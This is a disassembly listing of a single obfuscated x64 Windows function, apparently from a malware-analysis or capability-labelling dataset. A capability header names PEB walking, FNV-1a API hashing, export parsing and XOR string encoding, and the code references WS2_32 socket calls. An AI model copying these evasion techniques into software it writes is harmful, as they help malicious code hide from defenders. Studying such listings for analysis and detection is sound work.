Function at 0x140060100
Capabilities:
Access peb ldr_data
Authenticate hmac
Encode data using xor
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov r14, qword [0x1401de7b8]
test r14, r14
jne 0x1400601e1
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rsi, qword [rcx + 0x10]
mov rdi, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1400601c8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1400601c8
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1400601c3
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x1400601a0
cmp edx, 0x53b2070f
je 0x14006028f
test r8d, r8d
jne 0x140060180
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
jne 0x140060150
xor r14d, r14d
mov qword [0x1401de7b8], r14
movzx edi, byte [rbp + 0x30]
xor eax, eax
mov qword [rbp - 0x45], rax
movabs r12, 0x295cd5e0047be648
mov word [rbp - 0x3d], ax
movabs r15, 0x649d8b605e29e3e8
mov byte [rbp - 0x3b], al
movabs r13, 0x744384e0285b1888
mov dword [rbp - 0x50], 0x602c2827
mov dword [rbp - 0x4c], 0x13682066
mov word [rbp - 0x48], 0x3534
mov byte [rbp - 0x46], 0xaa
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov rax, qword [rax]
nop dword [rax + rax]
xor r10d, r10d
cmp r10, 0x16
jae 0x140060e11
movzx r9d, byte [rbp + r10 - 0x50]
mov esi, r9d
mov r11d, r9d
nop dword [rax]
cmp rbx, r10
ja 0x140060e08
lea rcx, [rax + 1]
cmp rbx, rcx
jae 0x1400602ac
lea rdx, [r10 + r12]
mov edi, 4
movzx ecx, dl
and cl, sil
sub dil, cl
add dil, dil
add dil, r9b
add dil, dl
jmp 0x1400602e6
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r14d, dword [rcx + rdx*4]
add r14, r9
jmp 0x1400601da
je 0x140060d85
lea rcx, [rax + 2]
cmp rbx, rcx
je 0x140060cef
lea rcx, [rax + 3]
cmp rbx, rcx
je 0x140060cb9
lea rcx, [rax + 4]
cmp rbx, rcx
je 0x140060c73
lea rcx, [rax + 8]
cmp rbx, rcx
je 0x140060c27
cmp rax, r10
ja 0x140060dff
lea rcx, [rax + 9]
cmp rbx, rcx
jae 0x140060315
lea r8, [r10 + r15]
movzx ecx, sil
and cl, r8b
movzx edi, r9b
add cl, cl
sub dil, cl
sub dil, 0x58
add dil, r8b
jmp 0x140060360
lea rcx, [rax + 1]
cmp rbx, rcx
je 0x140060c09
lea rcx, [rax + 2]
cmp rbx, rcx
je 0x140060be7
lea rcx, [rax + 4]
cmp rbx, rcx
je 0x140060bc8
lea rcx, [rax + 5]
cmp rbx, rcx
je 0x140060ba8
lea rcx, [rax + 3]
cmp rbx, rcx
je 0x140060b88
nop word [rax + rax]
lea rcx, [rax + rbx]
cmp rcx, r10
jbe 0x1400608c6
nop dword [rax]
lea rcx, [rax + 5]
cmp rbx, rcx
je 0x1400608a5
lea rcx, [rax + 9]
cmp rbx, rcx
je 0x14006087d
lea rcx, [rax + 0x1000]
cmp rbx, rcx
je 0x14006085b
lea rcx, [rax + 0x41]
cmp rbx, rcx
je 0x140060976
lea rcx, [rax + 1]
cmp rbx, rcx
je 0x14006083c
lea rcx, [rax + 0x40]
cmp rbx, rcx
je 0x140060820
lea rcx, [rax + 0x80]
cmp rbx, rcx
je 0x140060800
lea rcx, [rax + 0x400]
cmp rbx, rcx
je 0x1400607e0
lea rcx, [rax + 6]
cmp rbx, rcx
je 0x1400607b5
lea rcx, [rax + 0xa]
cmp rbx, rcx
je 0x140060370
lea rbx, [rax + 0x41]
lea rax, [rbx + 0x28]
lea rcx, [rax + 0x10]
cmp rbx, rcx
jb 0x140060ddf
lea rcx, [rax + 0x40]
cmp rbx, rcx
jb 0x140060dbf
lea rcx, [rax + 0x80]
cmp rbx, rcx
jb 0x140060567
lea rcx, [rax + 0x400]
cmp rbx, rcx
jb 0x140060547
lea rcx, [rax + 6]
cmp rbx, rcx
jb 0x140060527
lea rcx, [rax + 0xa]
cmp rbx, rcx
jb 0x140060762
lea rcx, [rax + 0x28]
cmp rbx, rcx
jb 0x140060716
lea rcx, [rax + 0x5a]
cmp rbx, rcx
jb 0x1400606cf
lea rcx, [rax + 2]
cmp rbx, rcx
jb 0x1400606ab
lea rcx, [rax + 5]
cmp rbx, rcx
jb 0x140060370
lea rbx, [rax + 3]
lea rax, [rbx + 0x200]
lea rcx, [rax + 6]
cmp rbx, rcx
ja 0x140060680
lea rcx, [rax + 0xa]
cmp rbx, rcx
ja 0x140060660
lea rcx, [rax + 0x61]
cmp rbx, rcx
ja 0x140060640
lea rcx, [rax + 0x5a]
cmp rbx, rcx
ja 0x140060624
lea rcx, [rax + 2]
cmp rbx, rcx
ja 0x14006060c
lea rcx, [rax + 0x42]
cmp rbx, rcx
ja 0x1400605fa
lea rcx, [rax + 0x200]
cmp rbx, rcx
ja 0x1400605d4
lea rcx, [rax + 0x1000]
cmp rbx, rcx
ja 0x1400605ab
lea rcx, [rax + 0x41]
cmp rbx, rcx
ja 0x14006058a
lea rcx, [rax + 0x10]
cmp rbx, rcx
ja 0x140060370
lea rbx, [rax + 0x5a]
lea rax, [rbx + 0x40]
jmp 0x140060370
lea r8d, [r10 + 0x18]
mov edx, 0x2c
movzx ecx, r9b
and cl, r8b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r8b
jmp 0x140060360
lea r8d, [r10 - 0x78]
mov edx, 0x24
movzx ecx, r9b
and cl, r8b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r8b
jmp 0x1400602e6
lea r8d, [r10 - 8]
mov edx, 0x1c
movzx ecx, r9b
mov r11, rsi
and cl, r8b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r8b
jmp 0x140060260
mov edx, 0x20
lea r8d, [r10 + 0x40]
movzx ecx, r9b
movzx r11d, r10b
and cl, r8b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
jmp 0x140060c43
lea r8d, [r10 - 0x50]
mov edx, 0x18
movzx ecx, r9b
inc rax
and cl, r8b
dec r10
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r8b
inc r10
jmp 0x140060243
lea r8d, [r10 + 0x20]
mov edx, reloc.WS2_32.dll_recv
movzx ecx, r9b
dec r10
and cl, r8b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r8b
inc r10
jmp 0x140060243
lea r8d, [r10 - 0x70]
mov edx, 8
movzx r11d, r10b
jmp 0x140060c80
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
add rbx, rax
lea edi, [r10 + r9]
jmp 0x140060cd6
lea edx, [r10 + 0x70]
movzx ecx, r9b
and cl, dl
add cl, cl
sub r9b, cl
lea edi, [rdx + r9]
sub dil, 0x10
jmp 0x140060cd6
lea r8d, [r10 - 0x20]
movzx ecx, r9b
and cl, r8b
movzx edi, r9b
add cl, cl
sub dil, cl
sub dil, 0x20
add dil, r8b
jmp 0x140060d17
lea r8d, [r10 + 0x50]
movzx ecx, r9b
and cl, r8b
movzx edi, r9b
add cl, cl
sub dil, cl
sub dil, 0x30
add dil, r8b
jmp 0x140060d42
lea edx, [r10 - 0x40]
movzx ecx, r9b
and cl, dl
add cl, cl
sub r9b, cl
movzx ecx, byte [rbp + r10 - 0x50]
add rcx, rax
add r10, rcx
lea edi, [rdx + r9]
sub dil, 0x40
inc r10
jmp 0x140060243
lea edx, [r10 + 0x58]
movzx ecx, r9b
and cl, dl
add cl, cl
sub r9b, cl
lea edi, [rdx + r9]
sub dil, 0x68
mov byte [rbp + r10 - 0x50], dil
inc r10
jmp 0x140060243
lea r8d, [r10 - 0x38]
movzx ecx, r9b
and cl, r8b
movzx edi, r9b
add cl, cl
sub dil, cl
sub dil, 0x78
add dil, r8b
cmp rax, 0xa
jb 0x1400606c2
mov edx, 0x18
movzx r11d, r10b
movzx ecx, r9b
lea r8d, [r11 - 0x50]
and cl, r8b
sub dl, cl
add dl, dl
add dl, r9b
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x140060c46
mov edx, 0x3c
lea r8d, [r10 + 0x38]
movzx ecx, r9b
and cl, r8b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r8b
cmp rbx, 4
jae 0x140060b49
lea rdx, [rax + 2]
cmp rbx, rdx
jbe 0x140060a74
lea r8d, [r10 + 0x10]
movzx ecx, r9b
and cl, r8b
movzx edi, r9b
add cl, cl
sub dil, cl
sub dil, 0x70
jmp 0x1400606e7
lea r8d, [r10 - 0x58]
movzx ecx, r9b
and cl, r8b
mov edx, 0x34
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r8b
lea rcx, [rax + rbx]
cmp rcx, 9
je 0x140060b6b
lea rcx, [rax + 0x7a]
cmp rbx, rcx
jbe 0x1400609c5
lea r8d, [r10 + 0x28]
movzx ecx, r9b
and cl, r8b
movzx edi, r9b
add cl, cl
sub dil, cl
sub dil, 0x18
jmp 0x14006072e
lea edx, [r10 + 0x70]
movzx ecx, r9b
and cl, dl
add cl, cl
sub r9b, cl
movzx ecx, byte [rbp + r10 - 0x50]
add rcx, rax
add r10, rcx
lea edi, [rdx + r9]
sub dil, 0x10
inc r10
jmp 0x140060243
lea r8d, [r10 - 0x20]
movzx ecx, r9b
and cl, r8b
movzx edi, r9b
add cl, cl
sub dil, cl
sub dil, 0x20
add dil, r8b
jmp 0x140060d42
lea r8d, [r10 + 0x50]
movzx ecx, r9b
and cl, r8b
movzx edi, r9b
add cl, cl
sub dil, cl
sub dil, 0x30
add dil, r8b
jmp 0x140060d17
lea edx, [r10 - 0x40]
movzx ecx, r9b
and cl, dl
add cl, cl
sub r9b, cl
lea edi, [rdx + r9]
sub dil, 0x40
jmp 0x140060cd6
lea edx, [r10 + 0x30]
movzx ecx, r9b
and cl, dl
add cl, cl
sub r9b, cl
lea edi, [rdx + r9]
sub dil, 0x50
add rbx, rax
jmp 0x140060cd6
lea edx, [r10 + 0x10]
movzx ecx, r9b
and cl, dl
dec r10
add cl, cl
sub r9b, cl
lea edi, [rdx + r9]
sub dil, 0x70
inc r10
jmp 0x140060243
lea edx, [r10 + 0x80]
movzx ecx, r9b
and cl, dl
inc rax
add cl, cl
dec r10
sub r9b, cl
lea edi, [rdx + r9]
add dil, 0x80
inc r10
jmp 0x140060243
mov edx, gethostname
movzx r11d, r10b
movzx ecx, r9b
lea r8d, [r11 - 0x10]
and cl, r8b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
jmp 0x140060c43
lea rcx, [rax + 0x64]
cmp rbx, rcx
jae 0x1400608e4
lea r8d, [r10 + 0x48]
movzx ecx, r9b
and cl, r8b
mov edx, 4
jmp 0x140060772
lea rcx, [rax + 1]
cmp rbx, rcx
jne 0x14006091c
lea r8d, [r10 - 0x30]
movzx ecx, r9b
and cl, r8b
mov edx, 0x28
sub dl, cl
movzx ecx, byte [rbp + r10 - 0x50]
add rcx, rax
add r10, rcx
lea edi, [rdx + rdx]
add dil, r9b
add dil, r8b
inc r10
jmp 0x140060243
lea rcx, [rax + 2]
cmp rbx, rcx
jne 0x140060945
lea r8d, [r10 - 0x10]
mov edx, gethostname
movzx ecx, r9b
and cl, r8b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r8b
jmp 0x140060d17
lea rcx, [rax + 3]
cmp rbx, rcx
jne 0x14006096d
lea edx, [r10 + 0x80]
movzx ecx, r9b
and cl, dl
add cl, cl
sub r9b, cl
lea edi, [rdx + r9]
add dil, 0x80
jmp 0x140060cd6
lea rcx, [rax + 5]
cmp rbx, rcx
jne 0x140060997
movzx r11d, r10b
movzx ecx, r9b
movzx edi, r9b
lea r8d, [r11 - 0x60]
and cl, r8b
add cl, cl
sub dil, cl
sub dil, 0x60
jmp 0x140060c8f
lea rcx, [rax + 6]
cmp rbx, rcx
jne 0x14006077d
movzx r11d, r10b
movzx ecx, r9b
movzx edi, r9b
lea r8d, [r11 + 0x50]
and cl, r8b
add cl, cl
sub dil, cl
sub dil, 0x30
jmp 0x140060c43
lea rcx, [rax + 1]
cmp rbx, rcx
jne 0x1400609ef
movzx r11d, r10b
movzx ecx, r9b
movzx edi, r9b
lea r8d, [r11 - 0x48]
and cl, r8b
add cl, cl
sub dil, cl
sub dil, 8
jmp 0x140060c43
lea rcx, [rax + 2]
cmp rbx, rcx
jne 0x140060a1e
lea r8d, [r10 - 0x28]
mov edx, recv
movzx ecx, r9b
dec r10
and cl, r8b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r8b
inc r10
jmp 0x140060243
lea rcx, [rax + 4]
cmp rbx, rcx
jne 0x140060a47
lea r8d, [r10 - 0x78]
mov edx, 0x24
movzx ecx, r9b
and cl, r8b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r8b
jmp 0x140060cd6
lea rcx, [rax + 5]
cmp rbx, rcx
jne 0x140060731
lea r8d, [r10 + 0x18]
mov edx, 0x2c
movzx ecx, r9b
and cl, r8b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r8b
jmp 0x140060d17
lea rcx, [rax + 1]
cmp rbx, rcx
jne 0x140060aa8
lea edx, [r10 - 0x60]
movzx ecx, r9b
and cl, dl
add cl, cl
sub r9b, cl
movzx ecx, byte [rbp + r10 - 0x50]
add rcx, rax
add r10, rcx
lea edi, [rdx + r9]
sub dil, 0x60
inc r10
jmp 0x140060243
cmp rbx, rdx
jne 0x140060acd
lea r8d, [r10 + 0x30]
movzx ecx, r9b
and cl, r8b
movzx edi, r9b
add cl, cl
sub dil, cl
sub dil, 0x50
add dil, r8b
jmp 0x140060d42
lea rcx, [rax + 5]
cmp rbx, rcx
jne 0x140060af7
movzx r11d, r10b
movzx ecx, r9b
movzx edi, r9b
lea r8d, [r11 + 0x70]
and cl, r8b
add cl, cl
sub dil, cl
sub dil, 0x10
jmp 0x140060c8f
lea rcx, [rax + 3]
cmp rbx, rcx
jne 0x140060b1b
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea edi, [r10 + r9]
dec r10
inc r10
jmp 0x140060243
lea rcx, [rax + 6]
cmp rbx, rcx
jne 0x1400606ea
mov edx, reloc.WS2_32.dll_recv
movzx r11d, r10b
movzx ecx, r9b
lea r8d, [r11 + 0x20]
and cl, r8b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
jmp 0x140060c43
movzx edx, byte [rbp + r10 - 0x50]
movzx r11d, r10b
movzx ecx, r9b
lea r8d, [r11 + 0x40]
and cl, r8b
sub dl, cl
add dl, 0x20
lea edi, [rdx + rdx]
jmp 0x140060c8f
lea r8d, [r10 - 0x30]
mov edx, 0x28
movzx ecx, r9b
and cl, r8b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
jmp 0x140060d17
lea r8d, [r10 + 0x68]
mov edx, reloc.WS2_32.dll_sendto
movzx ecx, r9b
and cl, r8b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r8b
jmp 0x140060d42
lea r8d, [r10 + 0x48]
mov edx, 4
movzx ecx, r9b
and cl, r8b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r8b
jmp 0x140060cd6
lea edx, [r10 - 0x48]
movzx ecx, r9b
and cl, dl
add cl, cl
sub r9b, cl
lea edi, [rdx + r9]
sub dil, 8
add rbx, rax
jmp 0x140060cd6
lea edx, [r10 - 0x68]
movzx ecx, r9b
and cl, dl
dec r10
add cl, cl
sub r9b, cl
lea edi, [rdx + r9]
sub dil, 0x28
inc r10
jmp 0x140060243
movzx r11d, r10b
movzx ecx, r9b
movzx edi, r9b
lea r8d, [r11 + 0x78]
and cl, r8b
add cl, cl
sub dil, cl
sub dil, 0x48
jmp 0x140060c43
movzx r11d, r10b
movzx ecx, r9b
movzx edi, r9b
lea r8d, [r11 + 0x58]
and cl, r8b
add cl, cl
sub dil, cl
sub dil, 0x68
add dil, r8b
sub r11b, 8
movzx ecx, r9b
and cl, r11b
mov edx, 0x1c
sub dl, cl
add dl, dl
add dl, r9b
add dl, r11b
mov byte [rbp + r10 - 0x50], dl
inc rax
dec r10
inc r10
jmp 0x140060243
movzx r11d, r10b
mov edx, 0x34
lea r8d, [r11 - 0x58]
movzx ecx, r9b
and cl, r8b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r8b
sub r11b, 0x78
movzx ecx, r9b
and cl, r11b
mov edx, 0x24
sub dl, cl
add dl, dl
add dl, r9b
add dl, dil
add dl, r11b
mov byte [rbp + r10 - 0x50], dl
add rbx, rax
jmp 0x140060cd6
lea rdx, [r10 + r13]
mov r8d, 0x24
movzx ecx, dl
and cl, r11b
sub r8b, cl
lea edi, [r8 + r8]
add dil, dl
add dil, r11b
movzx ecx, dil
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add r10, rdx
inc r10
jmp 0x140060243
mov edx, 0x1c
movabs r8, 0x2189d9201f634bf8
add r8, r10
movzx r9d, r11b
movzx ecx, r8b
and cl, r11b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r11b
lea r8d, [r10 + 0x18]
movzx ecx, r9b
and cl, r8b
inc rax
mov edx, 0x2c
sub dl, cl
add dl, dl
add dl, r9b
add dl, r8b
movzx ecx, dl
mov byte [rbp + r10 - 0x50], cl
add rcx, rax
sub r10, rcx
lea r8d, [r10 + 0x60]
inc rbx
movzx ecx, r8b
mov edx, 0x30
and cl, r9b
sub dl, cl
mov rcx, 0xffffffffffffffff
sub rcx, rbx
add dl, dl
add dl, r8b
add dl, r9b
mov byte [rbp + r10 - 0x50], dl
add r10, rcx
movzx ecx, byte [rbp + r10 - 0x50]
add rcx, rax
add r10, rcx
inc r10
jmp 0x140060243
mov r8d, recv
movabs rdx, 0x7c1681a00d73b2d8
add rdx, r10
movzx ecx, dl
and cl, r11b
sub r8b, cl
lea edi, [r8 + r8]
add dil, dl
add dil, r11b
movzx ecx, byte [rbp + r10 - 0x50]
add rcx, rax
add r10, rcx
inc r10
jmp 0x140060243
add r10b, 0x68
mov edx, reloc.WS2_32.dll_sendto
movzx ecx, r9b
and cl, r10b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r10b
jmp 0x140060240
sub r10b, 0x28
mov ecx, recv
movzx eax, r9b
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140060228
lea rcx, [rbp + 0x17eb810]
jmp 0x140060e15
lea rcx, [rbp + 0x17a9e58]
jmp 0x140060e15
lea rcx, [rbp - 0x50]
call r14
mov r14, qword [0x1401de7b0]
mov r15, rax
test r14, r14
jne 0x140060ed1
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rdi, qword [rdx + 0x10]
mov rbx, rdi
nop
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x140060eb8
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x140060eb8
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + r10]
mov ecx, 0x811c9dc5
add rdx, r9
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140060eb3
nop dword [rax]
movsx eax, al
lea rdx, [rdx + 1]
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x140060e90
cmp ecx, 0xf8f45725
je 0x140060f7f
test r8d, r8d
jne 0x140060e70
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rdi
jne 0x140060e40
xor r14d, r14d
mov qword [0x1401de7b0], r14
movzx edi, byte [rbp + 0x30]
xor eax, eax
mov qword [rbp - 0x19], rax
movabs r12, 0x1af4a57c8f6a7492
mov word [rbp - 0x11], ax
movabs r13, 0xf299d1610abe1922
mov dword [rbp - 0x30], 0xe4c7e1de
mov dword [rbp - 0x2c], 0xf5dfe7f5
mov dword [rbp - 0x28], 0xeffdf8f2
mov dword [rbp - 0x24], 0xd0d3f2d5
mov dword [rbp - 0x20], 0xcbc8e4c1
mov word [rbp - 0x1c], 0xd5d5
mov byte [rbp - 0x1a], 0x56
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x21
jae 0x140061a8e
movzx r10d, byte [rbp + r11 - 0x30]
mov esi, r10d
mov r9d, r10d
nop dword [rax]
cmp rbx, r11
ja 0x140061a85
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140060f9e
lea rcx, [r11 + r12]
mov edi, 1
movzx eax, cl
and al, sil
sub dil, al
add dil, dil
add dil, cl
add dil, r10b
jmp 0x140060fe0
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx r8d, word [rcx + r8*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov r14d, dword [rcx + r8*4]
add r14, r9
jmp 0x140060eca
je 0x140061a05
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006197e
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006194b
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140061909
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400618c1
nop dword [rax + rax]
cmp r8, r11
ja 0x140061a7c
lea rax, [r8 + 0x400]
cmp rbx, rax
jae 0x140061011
lea edx, [r11 - 6]
mov ecx, reloc.WS2_32.dll_setsockopt
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140061052
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400618a1
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006187c
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140061859
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140061837
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14006181b
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x1400615b3
nop
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140061594
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140061570
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14006154f
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140061530
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140061512
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x1400614f7
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x1400614dc
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400614c1
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140061497
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140061060
lea rbx, [r8 + 0x40]
lea r8, [rbx + 3]
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140061a5c
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140061a3c
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14006124d
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14006122e
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14006120f
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140061443
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x1400613f6
lea rcx, [r8 + 0x61]
cmp rbx, rcx
jb 0x1400613b1
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14006138a
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140061060
lea r8, [rcx + 0x20]
mov rbx, rcx
lea rax, [r8 + 1]
cmp rcx, rax
ja 0x14006135c
lea rax, [r8 + 0x64]
cmp rcx, rax
ja 0x14006133d
lea rax, [r8 + 0x1000]
cmp rcx, rax
ja 0x140061321
lea rax, [r8 + 0x2a]
cmp rcx, rax
ja 0x140061302
lea rax, [r8 + 5]
cmp rcx, rax
ja 0x1400612e0
lea rax, [r8 + 0x10]
cmp rcx, rax
ja 0x1400612ce
lea rax, [r8 + 0x5a]
cmp rcx, rax
ja 0x1400612a9
lea rcx, [r8 + 4]
cmp rbx, rcx
ja 0x140061281
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14006126f
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140061060
mov rbx, rcx
lea r8, [rcx + 3]
jmp 0x140061060
lea edx, [r11 + 0x46]
mov ecx, listen
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140061052
lea edx, [r11 + 0x22]
mov ecx, 9
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140060fe0
lea edx, [r11 - 2]
mov ecx, 7
movzx eax, dl
mov r9, rsi
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140060f50
lea edx, [r11 - 0x30]
mov ecx, 0x28
movzx r9d, r11b
jmp 0x1400618ce
lea edx, [r11 - 0x54]
mov ecx, 0x26
movzx eax, dl
inc r8
and al, r10b
dec r11
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r11
jmp 0x140060f33
lea edx, [r11 - 0x78]
mov ecx, 0x24
movzx eax, dl
dec r11
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r11
jmp 0x140060f33
lea edx, [r11 + 0x64]
mov ecx, 0x22
movzx r9d, r11b
jmp 0x140061916
lea edx, [r11 + 0x40]
mov ecx, 0x20
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add rbx, r8
jmp 0x140061965
lea edx, [r11 + 0x1c]
mov ecx, 0x1e
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140061965
lea edx, [r11 - 8]
mov ecx, 0x1c
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400619a0
lea edx, [r11 - 0x2c]
mov ecx, 0x1a
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400619c8
lea edx, [r11 - 0x50]
mov ecx, 0x18
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + r11 - 0x30]
add rax, r8
add r11, rax
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r11
jmp 0x140060f33
lea edx, [r11 - 0x2a]
mov ecx, reloc.WS2_32.dll_send
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
mov byte [rbp + r11 - 0x30], dil
inc r11
jmp 0x140060f33
lea edx, [r11 - 0x4e]
mov ecx, reloc.WS2_32.dll_recvfrom
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 6
jb 0x1400613a4
movzx ecx, r10b
movzx r9d, r11b
movzx eax, r10b
lea edx, [r9 + 0x2c]
and al, dl
add al, al
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x68]
jmp 0x1400618df
lea edx, [r11 - 0x72]
mov ecx, reloc.WS2_32.dll_ntohs
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp rbx, 0x41
jae 0x1400617cf
lea rax, [r8 + 0x40]
cmp rbx, rax
jbe 0x140061747
lea edx, [r11 - 0x3c]
movzx eax, r10b
and al, dl
movzx edi, r10b
add al, al
sub dil, al
sub dil, 0x5c
add dil, dl
jmp 0x1400613cb
lea edx, [r11 + 0x6a]
mov ecx, reloc.WS2_32.dll_listen
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [r8 + rbx]
cmp rax, 0x64
je 0x1400617f7
lea rcx, [r8 + 5]
cmp rbx, rcx
jbe 0x140061677
lea edx, [r11 - 0x36]
mov ecx, 0x3d
movzx eax, r10b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140061410
lea ecx, [r11 - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rbp + r11 - 0x30]
add rax, r8
add r11, rax
lea edi, [r10 + rcx]
sub dil, 4
inc r11
jmp 0x140060f33
lea ecx, [r11 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
jmp 0x1400619c8
lea ecx, [r11 - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xc
jmp 0x1400619a3
lea ecx, [r11 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
jmp 0x140061965
